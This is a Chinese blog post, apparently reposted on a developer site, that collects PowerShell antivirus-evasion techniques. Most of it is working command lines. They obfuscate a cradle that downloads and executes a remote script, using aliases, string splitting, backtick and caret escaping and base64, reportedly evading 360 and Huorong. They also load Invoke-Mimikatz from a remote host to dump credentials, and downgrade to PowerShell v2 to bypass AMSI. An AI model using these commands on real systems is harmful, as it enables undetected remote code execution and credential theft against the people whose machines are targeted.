我是靠谱客的博主 平常萝莉,最近开发中收集的这篇文章主要介绍PowerShell命令免杀思路前言powershell变形方法组合拳其他思路,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • 前言
  • powershell变形方法
    • 大小写
    • 管道符
    • 修改函数名
    • 命令拆分
    • 反引号处理
    • base64免杀
  • 组合拳
  • 其他思路
    • 低版本powershell

前言

powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。

PowerShell具有以下特点:

  • 1、在Windows 7以上的操作系统中是默认安装的。
  • 2、PowerShell脚本可以运行在内存中,不需要写入磁盘。
  • 3、几乎不会触发杀毒软件。
  • 4、可以远程执行。
  • 5、目前很多工具都是基于PowerShell开发的。
  • 6、使得Windows的脚本攻击变得更加容易。
  • 7、cmd.exe通常会被阻止运行,但是PowerShell不会。
  • 8、可以用来管理活动目录。

这篇文章主要是收集总结网上的各种powershell免杀姿势,给自己提供一点思路,测试命令如下:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.190.128:80/a'))"

powershell变形方法

大小写

这个就不用多说了

管道符

Powershell的 -command 有个参数 -
在这里插入图片描述修改后:

echo IEX(new-object net.webclient).downloadstring('http://192.168.190.128:80/a') | powershell -

修改函数名

在文档中有这么一个功能 set-alias

例: Set-Alias -Name 修改名字后的函数 -Value 需要修改的函数

powershell.exe set-alias -name xz -value IEX;xz(New-ObjectNet.WebClient).DownloadString('http://192.168.190.128:80/a')

命令拆分

将PowerShell脚本将 字符串拆分

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19+'2.168.190.12'+'8/a'))"

将命令分割成函数

powershell.exe "$a='((new-object net.webclient).download';$b='string('http://192.168.190.128:80/a'))';IEX(a+b)"

反引号处理

PowerShell使用 反引号 作为转义字符

powershell.exe -nop -w hidden -c "IEX ((new-object "ne`t.web`client")."down`load`str`ing"('http://192.168.190.128:80/a'))"

^ 也是可以用来转义的

cmd /c echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://192.168.190.128:80/a')) | p^o^w^e^r^s^h^e^l^l -

cmd /c 是命令运行之后关闭窗口,而我们使用 ^ 是成功绕过的,火绒 && 360 均没有报错

base64免杀

base64编码命令whoami

# echo "whoami"|base64
d2hvYW1pCg==

解密后执行

iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("d2hvYW1pCg==")))

在这里插入图片描述

记一次 PowerShell 免杀实战

组合拳

采用Invoke-Mimikatz.ps1进行远程mimikatz远程加载的方式,进行绕过全家桶的查杀。

echo I^E^X (New-Object Net.W^e^b^C^l^i^e^n^t).D^o^w^n^l^o^a^d^S^t^r^i^n^g('http://10.0.100.14:80/download/Invoke-Mimikatz.ps1'); I^n^v^o^k^e^-M^i^m^i^k^a^t^z -D^u^m^p^C^r^e^d^s |p^o^w^e^r^s^h^e^l^l - >1234.txt

其他思路

低版本powershell

强制使用powershell v2版本,该方法可以绕过amsi,因为版本2没有支持amsi的必要内部挂钩

powershell -Version 2 -exec -bypass

记一次powershell的免杀之路(绕过360、火绒)

APT的思考: PowerShell命令混淆高级对抗

最后

以上就是平常萝莉为你收集整理的PowerShell命令免杀思路前言powershell变形方法组合拳其他思路的全部内容,希望文章能够帮你解决PowerShell命令免杀思路前言powershell变形方法组合拳其他思路所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(43)

评论列表共有 0 条评论

立即
投稿
返回
顶部